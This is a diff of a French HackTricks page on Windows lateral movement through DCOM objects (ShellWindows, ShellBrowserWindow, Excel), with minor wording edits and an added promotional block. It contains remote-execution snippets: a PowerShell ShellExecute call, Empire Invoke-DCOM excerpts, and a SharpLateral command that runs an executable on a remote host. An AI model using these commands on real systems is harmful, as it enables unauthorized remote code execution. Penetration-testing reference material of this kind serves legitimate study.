Deux objets spécifiques, `ShellBrowserWindow` et `ShellWindows`, ont été mis en évidence en raison de leur absence de Launch Permissions explicites. L'absence d'une entrée de registre `LaunchPermission` sous `HKCR:\AppID\{guid}` signifie l'absence d'autorisations explicites.
|
||||
|
||||
### ShellWindows
|
||||
Pour `ShellWindows`, qui ne possède pas de ProgID, les méthodes .NET `Type.GetTypeFromCLSID` et `Activator.CreateInstance` facilitent l'instanciation de l'objet en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de `ShellWindows`. Une fois instancié, l'interaction est possible via la méthode `WindowsShell.Item`, permettant l'invocation de méthodes telles que `Document.Application.ShellExecute`.
|
||||
Pour `ShellWindows`, qui ne possède pas de ProgID, les méthodes .NET `Type.GetTypeFromCLSID` et `Activator.CreateInstance` facilitent l'instanciation d'objets en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de `ShellWindows`. Une fois instancié, l'interaction est possible via la méthode `WindowsShell.Item`, conduisant à l'invocation de méthodes telles que `Document.Application.ShellExecute`.
|
||||
|
||||
Des commandes PowerShell d'exemple ont été fournies pour instancier l'objet et exécuter des commandes à distance:
|
||||
```powershell
|
||||
|
@ -65,7 +73,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
|
||||
Le mouvement latéral peut être réalisé en exploitant les objets DCOM Excel. Pour des informations détaillées, il est conseillé de lire la discussion sur l'utilisation de Excel DDE pour le mouvement latéral via DCOM sur le [blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
Le projet Empire fournit un script PowerShell, qui démontre l'utilisation d'Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous des extraits du script disponible sur le [dépôt GitHub d'Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), montrant différentes méthodes pour abuser d'Excel pour le RCE:
|
||||
Le projet Empire fournit un script PowerShell, qui démontre l'utilisation d'Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous des extraits du script disponible sur le [dépôt GitHub d'Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), présentant différentes méthodes pour abuser d'Excel pour le RCE:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -110,15 +118,21 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue